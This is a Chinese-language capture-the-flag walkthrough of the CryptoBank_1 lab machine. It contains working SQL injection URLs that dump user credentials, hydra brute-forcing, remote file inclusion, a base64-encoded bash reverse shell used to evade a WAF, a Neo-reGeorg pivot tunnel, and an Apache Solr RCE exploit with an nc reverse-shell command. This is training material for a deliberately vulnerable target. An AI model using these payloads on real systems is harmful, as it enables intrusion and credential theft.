CryptoBank_1靶机

CryptoBank_1靶机

信息收集

1
2
3
4
5
6
┌──(kali㉿kali)-[~/Documents/CryptoBank_1]
└─$ sudo nmap --min-rate 10000 -p- 192.168.1.104

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/Documents/CryptoBank_1]
└─$ sudo nmap -sT -sV -sC -O -p22,80 192.168.1.104

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7f:4e:59:df:b7:55:49:cf:d3:12:2d:19:01:05:43:f7 (RSA)
| 256 5e:1b:37:98:ab:c7:e6:ee:5f:f8:df:43:14:de:28:4e (ECDSA)
|_ 256 8e:a9:90:9f:6e:51:b1:c7:26:ea:07:ac:69:28:b3:1c (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: CryptoBank
MAC Address: 08:00:27:1D:F7:35 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS

Web 查看

查看网页发现

添加域名与 IP 的映射后,继续查看

发现了人名和职位信息,作为字典的备选

邮箱跳转的信息中虽然是 404 网页,但依然可以作为字典的备选.

目录爆破

目录爆破一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/Documents/CryptoBank_1]
└─$ sudo dirsearch -u http://cryptobank.local


Target: http://cryptobank.local/

[01:05:15] 301 - 321B - /assets -> http://cryptobank.local/assets/
[01:05:15] 200 - 2KB - /assets/
[01:05:20] 401 - 463B - /development/
[01:05:24] 200 - 33KB - /index.html
[01:05:24] 200 - 447KB - /index.js
[01:05:25] 200 - 85KB - /info.php
[01:05:35] 403 - 281B - /server-status
[01:05:35] 403 - 281B - /server-status/

Task Completed

info.php 是 phpinfo 文件(且暴露了文件包含的风险),index.js 是混淆后的 js 文件,看起来是用于定时清除 cookie 之类的功能。对于这种文件,发现了一个好用的网站 Online JavaScript beautifier

/development/ 目录会弹登录框,默认网页中有个登录入口,是目录爆破工具没爆出来的,先看看网页吧

登录框 SQL 注入

登录框,尝试 SQL 注入,万能密码无效。burp 抓包看看,尝试 burp 自带的 SQL 注入字典进行 fuzz

记得勾选自动重定向(settings 中)

如果直接使用 1 or 7=7 登录还是会失败。我们看下请求包

这里 pass 被 URL 编码为了 1+or+7%3D7,而 Intruder 中则是 1%20or%207%3d7

我们这次直接抓包改包,成功登录.

接下来依次查看各个功能

在 loans 界面看到其 URL 比较特别,可能存在 SQL 注入

验证了猜想,确实存在 SQL 注入,使用 order by 确认了列数,使用 select 1,2,3 确认了回显位置

接下来就是经典的 MySQL 注入了,顺便发现了自己最精彩出现的一个手误的情况:

schema_name 老是写成 schemea.name,要记住 . 是下一级的意思,就不会那么容易写错了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//数据库名
http://cryptobank.local/trade/view_loans.php?search=" union select 1,database(),3-- #
//cryptobank

//所有库名
http://cryptobank.local/trade/view_loans.php?search=" union select 1,group_concat(schema_name),3 from information_schema.schemata-- #
//information_schema,cryptobank,mysql,performance_schema,sys

//cryptobank库中的表名
http://cryptobank.local/trade/view_loans.php?search=" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='cryptobank'-- #
//accounts,comments,loans

//accounts表中的列名
http://cryptobank.local/trade/view_loans.php?search=" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='cryptobank'-- #
//id_account,username,password,balance,USER,HOST,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

//表中内容
http://cryptobank.local/trade/view_loans.php?search=" union select 1,group_concat(id_account,'--',username,'--',password,'--',balance),3 from accounts-- #
//1--williamdelisle--gFG7pqE5cn--87536,2--juliusthedeveloper--wJWm4CgV26--34421,3--bill.w--3Nrc2FYJMe--26321,4--johndl33t--NqRF4W85yf--1375,5--mrbitcoin--LxZjkK87nu--434455,6--spongebob--3mwZd896Me--8531,7--dreadpirateroberts--7HwAEChFP9--733456,8--deadbeef--6X7DnLF5pG--4324,9--buzzlightyear--LnBHvEhmw3--2886,10--tim--zm2gBcaxd3--857,11--patric--x8CRvHqgPp--1,12--notanirsagent--8hPx2Zqn4b--777

实际上这里点击图片还会发现一个注入点

1
http://cryptobank.local/trade/applying_loan.php?loan_id=1

亲测可以注入,不妨自己试一试。

1
http://cryptobank.local/trade/applying_loan.php?loan_id=1 union select 1,2,3 --+

hydra http 登录爆破

将注入得到信息写入 sqllab 文件,并使用 awk 来获得用户名和密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/Documents/CryptoBank_1]
└─$ cat sqllab | awk -F ',' '{ for(i=1; i<=NF; i++) print $i }' | awk -F '--' '{print $2 }' >usernames

┌──(kali㉿kali)-[~/Documents/CryptoBank_1]
└─$ cat usernames
williamdelisle
juliusthedeveloper
bill.w
johndl33t
mrbitcoin
spongebob
dreadpirateroberts
deadbeef
buzzlightyear
tim
patric
notanirsagent

再将我们之前在网页中收集到的用户信息也写入用户名字典

1
2
3
4
5
6
juliusbook
billwhite
johndoe
william.d
julius.b
john.d

然后提取密码信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/Documents/CryptoBank_1]
└─$ cat passwords
gFG7pqE5cn
wJWm4CgV26
3Nrc2FYJMe
NqRF4W85yf
LxZjkK87nu
3mwZd896Me
7HwAEChFP9
6X7DnLF5pG
LnBHvEhmw3
zm2gBcaxd3
x8CRvHqgPp
8hPx2Zqn4b

使用爆破工具进行爆破,直接使用 hydra,提示需要添加参数,不能直接扔进来 http 链接

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/Documents/CryptoBank_1]
└─$ hydra -L usernames -P passwords 192.168.1.104 http-get /development
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-18 02:16:02
[DATA] max 16 tasks per 1 server, overall 16 tasks, 216 login tries (l:18/p:12), ~14 tries per task
[DATA] attacking http-get://192.168.1.104:80/development
[80][http-get] host: 192.168.1.104 login: julius.b password: wJWm4CgV26
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-10-18 02:16:04

之前的 cheetsheet

登录认证后的目录爆破

登录后发现 development 界面只有 only for development

不过却发现了 Authorization 字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/Documents/CryptoBank_1]
└─$ sudo dirsearch -u http://cryptobank.local/development/ -H "Authorization: Basic anVsaXVzLmI6d0pXbTRDZ1YyNg=="

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

[02:21:24] Starting:

[02:21:28] 200 - 109B - /development/.user.ini
[02:21:40] 301 - 334B - /development/backups -> http://cryptobank.local/development/backups/
[02:21:40] 200 - 973B - /development/backups/
[02:21:48] 200 - 21B - /development/index.html
[02:21:54] 200 - 109B - /development/php.ini
[02:21:54] 200 - 109B - /development/php5.ini
[02:22:02] 301 - 332B - /development/tools -> http://cryptobank.local/development/tools/
[02:22:02] 302 - 0B - /development/tools/ -> /development/tools/homepage.html

依次查看各个文件 .user.iniphp.ini, php5.ini 中包含了一个防火墙的文件路径,backups 目录打开是 home 目录,再打开是网站首页,tools 目录中包含了一些看起来很有用的功能

运行系统命令似乎需要用户名和密码,之前的用户名和密码爆破失败。

查看系统文件的功能有 waf 无法直接使用文件包含漏洞

1
2
3
4
5
//网页中给的例子的URL
http://cryptobank.local/development/tools/FileInclusion/pages/fetchmeafile.php?file=file.txt

//构造的URL
http://cryptobank.local/development/tools/FileInclusion/pages/fetchmeafile.php?file=../../../../../../../etc/passwd

触发了WAF

上传文件的地方也有 WAF,无法上传 php 文件,截断也失败,图片马也会被查

在这里卡了蛮久的,一直在想着绕 WAF

远程文件包含

或许可以试试远程文件包含?info.php 里可是暴露了此风险的

1
http://cryptobank.local/development/tools/FileInclusion/pages/fetchmeafile.php?file=http://192.168.1.101:8088/x.php
1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/Documents/CryptoBank_1]
└─$ sudo nc -lvnp 1234
[sudo] password for kali:
listening on [any] 1234 ...
connect to [192.168.1.101] from (UNKNOWN) [192.168.1.104] 33228
Linux cryptobank 4.15.0-96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
07:39:09 up 2:52, 0 users, load average: 0.08, 0.12, 0.10
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

反弹成功。

.git 信息泄露

看 WP 才发现,这里还有一种思路,我们发现了 backups/home 目录,也需要对此目录下的信息进行收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali㉿kali)-[~/Documents/CryptoBank_1]
└─$ sudo dirsearch -u http://cryptobank.local/development/backups/home/ -H "Authorization: Basic anVsaXVzLmI6d0pXbTRDZ1YyNg=="

[02:48:47] Starting:
[02:48:48] 200 - 839B - /development/backups/home/.git/branches/
[02:48:49] 200 - 23B - /development/backups/home/.git/HEAD
[02:48:49] 200 - 3KB - /development/backups/home/.git/
[02:48:49] 200 - 157B - /development/backups/home/.git/COMMIT_EDITMSG
[02:48:49] 200 - 73B - /development/backups/home/.git/description
[02:48:49] 301 - 344B - /development/backups/home/.git -> http://cryptobank.local/development/backups/home/.git/
[02:48:49] 200 - 153B - /development/backups/home/.git/config
[02:48:49] 200 - 240B - /development/backups/home/.git/info/exclude
[02:48:49] 200 - 3KB - /development/backups/home/.git/hooks/
[02:48:49] 200 - 178B - /development/backups/home/.git/logs/refs/heads/master
[02:48:49] 200 - 178B - /development/backups/home/.git/logs/HEAD
[02:48:49] 200 - 1KB - /development/backups/home/.git/info/
[02:48:49] 200 - 1KB - /development/backups/home/.git/logs/
[02:48:49] 301 - 360B - /development/backups/home/.git/logs/refs/heads -> http://cryptobank.local/development/backups/home/.git/logs/refs/heads/
[02:48:49] 301 - 354B - /development/backups/home/.git/logs/refs -> http://cryptobank.local/development/backups/home/.git/logs/refs/
[02:48:49] 301 - 355B - /development/backups/home/.git/refs/heads -> http://cryptobank.local/development/backups/home/.git/refs/heads/
[02:48:49] 301 - 354B - /development/backups/home/.git/refs/tags -> http://cryptobank.local/development/backups/home/.git/refs/tags/
[02:48:49] 200 - 66B - /development/backups/home/.gitattributes
[02:48:49] 200 - 1KB - /development/backups/home/.git/refs/
[02:48:49] 200 - 28KB - /development/backups/home/.git/objects/
[02:48:49] 200 - 41B - /development/backups/home/.git/refs/heads/master
[02:48:49] 200 - 21KB - /development/backups/home/.git/index
[02:48:49] 200 - 12B - /development/backups/home/.htaccess
[02:49:05] 200 - 2KB - /development/backups/home/assets/
[02:49:05] 301 - 346B - /development/backups/home/assets -> http://cryptobank.local/development/backups/home/assets/
[02:49:11] 200 - 1KB - /development/backups/home/development/
[02:49:16] 200 - 33KB - /development/backups/home/index.html
[02:49:16] 200 - 447KB - /development/backups/home/index.js
Task Completed

下载文件到本地

1
2
┌──(kali㉿kali)-[~/tools/GitTools/Dumper]
└─$ ./gitdumper.sh http://cryptobank.local/development/backups/home/.git/ ~/Documents/CryptoBank_1/home

从中提取文件

1
2
┌──(kali㉿kali)-[~/tools/GitTools/Extractor]
└─$ ./extractor.sh ~/Documents/CryptoBank_1/clone ~/Documents/CryptoBank_1/gitfile

查看文件目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
┌──(kali㉿kali)-[~/Documents/CryptoBank_1/gitfile]
└─$ tree
.
└── 0-bd768251b7225e88ae11225d60645a0d5f2106f0
├── assets
│   ├── css
│   │   ├── animate.min.css
│   │   ├── animation.css
│   │   ├── bootstrap.min.css
│   │   ├── font-awesome.min.css
│   │   ├── material-design-iconic-font.min.css
│   │   ├── owl.carousel.min.css
│   │   ├── responsive.css
│   │   └── slicknav.min.css
│   ├── fonts
│   │   ├── FontAwesome.otf
│   │   ├── fontawesome-webfont.eot
│   │   ├── fontawesome-webfont.svg
│   │   ├── fontawesome-webfont.ttf
│   │   ├── fontawesome-webfont.woff
│   │   ├── fontawesome-webfont.woff2
│   │   ├── Material-Design-Iconic-Font.eot
│   │   ├── Material-Design-Iconic-Font.svg
│   │   ├── Material-Design-Iconic-Font.ttf
│   │   ├── Material-Design-Iconic-Font.woff
│   │   └── Material-Design-Iconic-Font.woff2
│   ├── img
│   │   ├── about-bg.png
│   │   ├── about-icon-1.png
│   │   ├── about-icon-2.png
│   │   ├── about-icon-3.png
│   │   ├── about-left.png
│   │   ├── about-shap.jpg
│   │   ├── bg.png
│   │   ├── blog-3.jpg
│   │   ├── blog-blog-1.jpg
│   │   ├── blog-blog-2.jpg
│   │   ├── blog-blog-3.jpg
│   │   ├── blog-blog-4.jpg
│   │   ├── blog-blog-5.jpg
│   │   ├── blog-blog-6.jpg
│   │   ├── blog-blog-7.jpg
│   │   ├── blog-blog-8.jpg
│   │   ├── carousel-2.jpg
│   │   ├── c-logo-1.png
│   │   ├── c-logo-2.png
│   │   ├── c-logo-3.png
│   │   ├── c-logo-4.png
│   │   ├── c-logo-5.png
│   │   ├── documentaion-bg.png
│   │   ├── fabicon.png
│   │   ├── flag-1.png
│   │   ├── flag-2.png
│   │   ├── flag-3.png
│   │   ├── flag-4.png
│   │   ├── flag-5.png
│   │   ├── Group1.png
│   │   ├── initial-bg.png
│   │   ├── liveShape-bg.svg
│   │   ├── logo-c-bottom-bg.png
│   │   ├── logo-top.png
│   │   ├── Mobile.png
│   │   ├── roadmap-1.png
│   │   ├── roadmap-2.png
│   │   ├── roadmap-4.png
│   │   ├── roadmap-5.png
│   │   ├── superman-1.jpg
│   │   ├── superman-2.jpg
│   │   ├── superman-3.jpg
│   │   ├── superman-4.jpg
│   │   ├── superman-5.jpg
│   │   ├── superman-6.jpg
│   │   ├── superman-7.jpg
│   │   ├── superman-8.jpg
│   │   ├── token-bottom.png
│   │   ├── token-top.png
│   │   ├── welcome-imgOLD.png
│   │   └── welcome-img.png
│   ├── js
│   │   ├── bootstrap.min.js
│   │   ├── jquery-2.2.4.min.js
│   │   ├── jquery.slicknav.min.js
│   │   ├── main.js
│   │   ├── owl.carousel.min.js
│   │   ├── particles.min.js
│   │   ├── popper.js
│   │   ├── skrollr.min.js
│   │   └── wow.min.js
│   └── logo-top-dark.png
├── closed.html
├── commit-meta.txt
├── development
│   ├── php.ini
│   └── tools
│   ├── CommandExecution
│   │   ├── commandexec.html
│   │   └── CommandExec.php
│   ├── FileInclusion
│   │   └── pages
│   │   ├── fetchmeafile.php
│   │   ├── fileinc.html
│   │   └── file.txt
│   ├── FileUpload
│   │   ├── fileupl.html
│   │   └── fileupload.php
│   ├── homepage.html
│   ├── index.php
│   └── Resources
│   └── button.css
├── dev-notes.txt
├── index.html
├── index.js
├── ninjacheck.php
├── ninjafirewall
│   ├── changelog.php
│   ├── conf
│   │   ├── index.html
│   │   ├── options.php
│   │   └── rules.php
│   ├── firewall.php
│   ├── fonts
│   │   ├── glyphicons-halflings-regular.eot
│   │   ├── glyphicons-halflings-regular.svg
│   │   ├── glyphicons-halflings-regular.ttf
│   │   ├── glyphicons-halflings-regular.woff
│   │   ├── glyphicons-halflings-regular.woff2
│   │   └── index.html
│   ├── index.php
│   ├── install.php
│   ├── INSTALL.TXT
│   ├── lib
│   │   ├── account_license.php
│   │   ├── account_options.php
│   │   ├── account_updates.php
│   │   ├── constants.php
│   │   ├── firewall_access_control.php
│   │   ├── firewall_centlog.php
│   │   ├── firewall_filecheck.php
│   │   ├── firewall_fileguard.php
│   │   ├── firewall_livelog.php
│   │   ├── firewall_log.php
│   │   ├── firewall_options.php
│   │   ├── firewall_policies.php
│   │   ├── firewall_rules_editor.php
│   │   ├── firewall_webfilter.php
│   │   ├── fw_centlog.php
│   │   ├── help.php
│   │   ├── i18n_js.php
│   │   ├── index.html
│   │   ├── locale.php
│   │   ├── misc.php
│   │   ├── nfw_init.php
│   │   ├── share
│   │   │   ├── index.html
│   │   │   └── iso3166.csv
│   │   ├── summary_overview.php
│   │   ├── summary_stats.php
│   │   └── utils_ui.php
│   ├── license.txt
│   ├── locale
│   │   ├── fr_FR
│   │   │   ├── index.html
│   │   │   └── LC_MESSAGES
│   │   │   ├── index.html
│   │   │   ├── ninjafirewall_pro-fr_FR.mo
│   │   │   └── ninjafirewall_pro-fr_FR.po
│   │   ├── index.html
│   │   └── ninjafirewall_pro.pot
│   ├── login.php
│   ├── nfwlog
│   │   ├── admin.php
│   │   ├── cache
│   │   │   ├── garbage_collector.php
│   │   │   ├── index.html
│   │   │   └── ip_bk_flushed.php
│   │   ├── firewall_2020-04.php
│   │   └── index.html
│   ├── pro2-reset-is-now-hidden.php
│   └── static
│   ├── bootstrap.min.css
│   ├── bootstrap.min.js
│   ├── favicon.ico
│   ├── index.html
│   ├── jquery.js
│   ├── logo_200.png
│   ├── logo_45.png
│   ├── ninjafirewall.js
│   ├── styles.css
│   ├── twitter.png
│   └── vendor
│   ├── Chart.min.js
│   └── index.html
├── style.css
└── trade
├── applying_loan.php
├── balance_checking.php
├── bootstrap_3.3.7
│   ├── css
│   │   ├── bootstrap.css
│   │   ├── bootstrap.css.map
│   │   ├── bootstrap.min.css
│   │   ├── bootstrap.min.css.map
│   │   ├── bootstrap-theme.css
│   │   ├── bootstrap-theme.css.map
│   │   ├── bootstrap-theme.min.css
│   │   ├── bootstrap-theme.min.css.map
│   │   └── README.md
│   ├── fonts
│   │   ├── glyphicons-halflings-regular.eot
│   │   ├── glyphicons-halflings-regular.svg
│   │   ├── glyphicons-halflings-regular.ttf
│   │   ├── glyphicons-halflings-regular.woff
│   │   ├── glyphicons-halflings-regular.woff2
│   │   └── README.md
│   ├── jquery.js
│   ├── js
│   │   ├── bootstrap.js
│   │   ├── bootstrap.min.js
│   │   ├── npm.js
│   │   └── README.md
│   └── README.md
├── home.php
├── index.php
├── loan.jpg
├── login_auth.php
├── logo-top.png
├── logout.php
├── money_transfer.php
├── mysql_connect_init.php
├── style.css
└── view_loans.php

tools 目录中是有命令执行的功能的,我们找一找这部分的源码

原来用户名就是命令,密码是 wJWm4CgV26。而这个密码与我们登录 /development 的密码是一致的。虽然还是有 WAF,但是尝试了 base64 编码后就绕过了。

URL 如下

1
http://cryptobank.local/development/tools/CommandExecution/CommandExec.php?username=echo+"L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMS4xMDEvNDQzIDA%2bJjE%3d"|+base64+-d|bash&password=wJWm4CgV26

提前开启监听,然后访问网页反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(kali㉿kali)-[~/Documents/CryptoBank_1]
└─$ sudo nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.101] from (UNKNOWN) [192.168.1.104] 43320
bash: cannot set terminal process group (1115): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cryptobank:/var/www/cryptobank/development/tools/CommandExecution$ whoami
<yptobank/development/tools/CommandExecution$ whoami
www-data
www-data@cryptobank:/var/www/cryptobank/development/tools/CommandExecution$ id
<w/cryptobank/development/tools/CommandExecution$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@cryptobank:/var/www/cryptobank/development/tools/CommandExecution$ uname -a
<tobank/development/tools/CommandExecution$ uname -a
Linux cryptobank 4.15.0-96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
www-data@cryptobank:/var/www/cryptobank/development/tools/CommandExecution$ ip a
<cryptobank/development/tools/CommandExecution$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:1d:f7:35 brd ff:ff:ff:ff:ff:ff
inet 192.168.1.104/24 brd 192.168.1.255 scope global dynamic enp0s3
valid_lft 463sec preferred_lft 463sec
inet6 fe80::a00:27ff:fe1d:f735/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:c0:de:21:af brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
inet6 fe80::42:c0ff:fede:21af/64 scope link
valid_lft forever preferred_lft forever
5: veth0fe9052@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether 52:5e:7e:9b:b6:d8 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::505e:7eff:fe9b:b6d8/64 scope link
valid_lft forever preferred_lft forever

后渗透

查看用户家目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
www-data@cryptobank:/var/www/cryptobank/development/tools/CommandExecution$ ls -liah /home/cryptobank
<t/tools/CommandExecution$ ls -liah /home/cryptobank
total 52K
266998 drwxr-xr-x 5 cryptobank cryptobank 4.0K Apr 16 2020 .
131074 drwxr-xr-x 3 root root 4.0K Apr 10 2020 ..
267039 -rw------- 1 cryptobank cryptobank 11 Apr 16 2020 .bash_history
267002 -rw-r--r-- 1 cryptobank cryptobank 220 Apr 4 2018 .bash_logout
267001 -rw-r--r-- 1 cryptobank cryptobank 3.7K Apr 4 2018 .bashrc
267026 drwx------ 2 cryptobank cryptobank 4.0K Apr 10 2020 .cache
267825 -rw-r--r-- 1 root root 26 Apr 11 2020 .gitconfig
267028 drwx------ 3 cryptobank cryptobank 4.0K Apr 10 2020 .gnupg
267035 drwxrwxr-x 3 cryptobank cryptobank 4.0K Apr 10 2020 .local
267826 -rw------- 1 root root 1.7K Apr 11 2020 .mysql_history
267000 -rw-r--r-- 1 cryptobank cryptobank 807 Apr 4 2018 .profile
267030 -rw-r--r-- 1 cryptobank cryptobank 0 Apr 10 2020 .sudo_as_admin_successful
267470 -rw-rw-r-- 1 cryptobank cryptobank 169 Apr 11 2020 .wget-hsts
263764 -rwxrwxrwx 1 cryptobank cryptobank 28 Apr 16 2020 flag.txt
www-data@cryptobank:/var/www/cryptobank/development/tools/CommandExecution$ cat /home/cryptobank/flag.txt
<ols/CommandExecution$ cat /home/cryptobank/flag.txt
flag{l4szl0h4ny3cz1smyh3r0}

查看了常见的敏感文件和其文件权限、SUID 文件、定时任务、linpeas

发现了这样一个进程

1
8983      3066  0.7 15.5 2676420 318132 ?      Ssl  07:41   2:36  |       _ /usr/local/openjdk-11/bin/java -server -Xms512m -Xmx512m -XX:+UseG1GC -XX:+PerfDisableSharedMem -XX:+ParallelRefProcEnabled -XX:MaxGCPauseMillis=250 -XX:+UseLargePages -XX:+AlwaysPreTouch -Xlog:gc*:file=/var/solr/logs/solr_gc.log:time,uptime:filecount=9,filesize=20M -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.local.only=false -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.port=18983 -Dcom.sun.management.jmxremote.rmi.port=18983 -Dsolr.log.dir=/var/solr/logs -Djetty.port=8983 -DSTOP.PORT=7983 -DSTOP.KEY=solrrocks -Duser.timezone=UTC -Djetty.home=/opt/solr/server -Dsolr.solr.home=/var/solr/data -Dsolr.data.home= -Dsolr.install.dir=/opt/solr -Dsolr.default.confdir=/opt/solr/server/solr/configsets/_default/conf -Dlog4j.configurationFile=file:/var/solr/log4j2.xml -Xss256k -Dsolr.jetty.https.port=8983 -jar start.jar --module=http

感觉有东西,看一看 netstat

1
2
3
www-data@cryptobank:/tmp$ netstat ano | grep 8983
netstat ano | grep 8983
tcp 0 0 cryptobank:54212 172.17.0.2:8983 CLOSE_WAIT

使用 www-data@cryptobank:/tmp$ curl -L http://172.17.0.2:8983 得到了回显

reGeorg 代理搭建

接下来我们需要搭建一个代理,以便本地使用浏览器访问目标网页

经过搜索后我选择了这篇博客 reGeorg内网穿透 - Leticia’s Blog (uuzdaisuki.com)

1
2
3
4
5
git clone https://github.com/L-codes/Neo-reGeorg.git
python neoreg.py generate -k password
生成tunnel文件,将对应的tunnel上传到网站可访问目录下
python3 neoreg.py -k password -u http://xx/tunnel.php
默认会开启本地1080端口socks5,-p参数可指定端口,-l参数可指定监听地址

按照上述代码先生成 tunnel.php 文件(位于 neoreg_servers 文件夹中),然后上传到靶机中,进而复制到网站可访问的目录中

1
2
www-data@cryptobank:/tmp$ cp tunnel.php /var/www/cryptobank/tunnel.php
cp tunnel.php /var/www/cryptobank/tunnel.php

在本地开启 neoreg 链接

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/tools/Neo-reGeorg]
└─$ python neoreg.py -k password -u http://cryptobank.local/tunnel.php
+------------------------------------------------------------------------+
Log Level set to [ERROR]
Starting SOCKS5 server [127.0.0.1:1080]
Tunnel at:
http://cryptobank.local/tunnel.php
+------------------------------------------------------------------------+

使用浏览器添加 socks5 代理,访问 http://172.17.0.2:8983/ 自动跳转到了以下界面

solr 命令执行漏洞

搜索 solr 的漏洞

添加 proxychains 代理

1
2
┌──(kali㉿kali)-[~/Documents/CryptoBank_1]
└─$ sudo vim /etc/proxychains4.conf

尝试使用代理执行 exp 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/Documents/CryptoBank_1]
└─$ proxychains python 47572.py 172.17.0.2 8983 'whoami'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.17.0.2:8983 ... OK
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.17.0.2:8983 ... OK
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.17.0.2:8983 ... OK
OS Realese: Linux, OS Version: 4.15.0-96-generic
if remote exec failed, you should change your command with right os platform

[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.17.0.2:8983 ... OK
Init node cryptobank Successfully, exec command=whoami
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.17.0.2:8983 ... OK
RCE Successfully @Apache Solr node cryptobank
solr

成功,提前开启监听,尝试反弹 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/Documents/CryptoBank_1]
└─$ proxychains python 47572.py 172.17.0.2 8983 'nc 192.168.1.101 444 -e /bin/bash'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.17.0.2:8983 ... OK
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.17.0.2:8983 ... OK
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.17.0.2:8983 ... OK
OS Realese: Linux, OS Version: 4.15.0-96-generic
if remote exec failed, you should change your command with right os platform

[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.17.0.2:8983 ... OK
Init node cryptobank Successfully, exec command=nc 192.168.1.101 444 -e /bin/bash
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.17.0.2:8983 ... OK
RCE failed @Apache Solr node cryptobank

反弹 shell 如果出了问题,那么请查看靶机的 docker 是否还在运行,我自己打靶过程中出现了 docker 掉了的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali)-[~/Documents/CryptoBank_1]
└─$ sudo nc -lvnp 444
[sudo] password for kali:
listening on [any] 444 ...
connect to [192.168.1.101] from (UNKNOWN) [192.168.1.104] 47398
whoami
solr
id
uid=8983(solr) gid=8983(solr) groups=8983(solr),27(sudo)
which python
/usr/bin/python
